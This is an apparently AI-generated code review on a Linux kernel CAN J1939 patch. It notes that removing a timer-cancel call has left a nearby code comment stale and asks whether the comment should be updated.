>  	}
>  
> @@ -1862,7 +1925,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
>  			     __func__, session, skcb->addr.sa, skcb->addr.da,
>  			     session->last_cmd);
>  
> -		j1939_session_timers_cancel(session);
>  		j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
>  		if (session->transmission) {
>  			j1939_session_deactivate_activate_next(session);

[Severity: Low]
This isn't a bug, but the comment just below this in
j1939_xtp_rx_rts_session_active() now looks stale:

			/* Force deactivation for the receiver.
			 * If we rely on the timer starting in j1939_session_cancel,
			 * a second RTS call here will cancel that timer and fail
			 * to restart it because the state is already WAITING_ABORT.
			 */

It was the j1939_session_timers_cancel() call removed here that
cancelled the timer. With that call gone, j1939_session_cancel() on a
WAITING_ABORT session leaves the rxtimer alone, so a second RTS no
longer cancels the abort timer.

Should the comment be updated to match the new behaviour?

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1793681851.git.zihanx%40nebusec.ai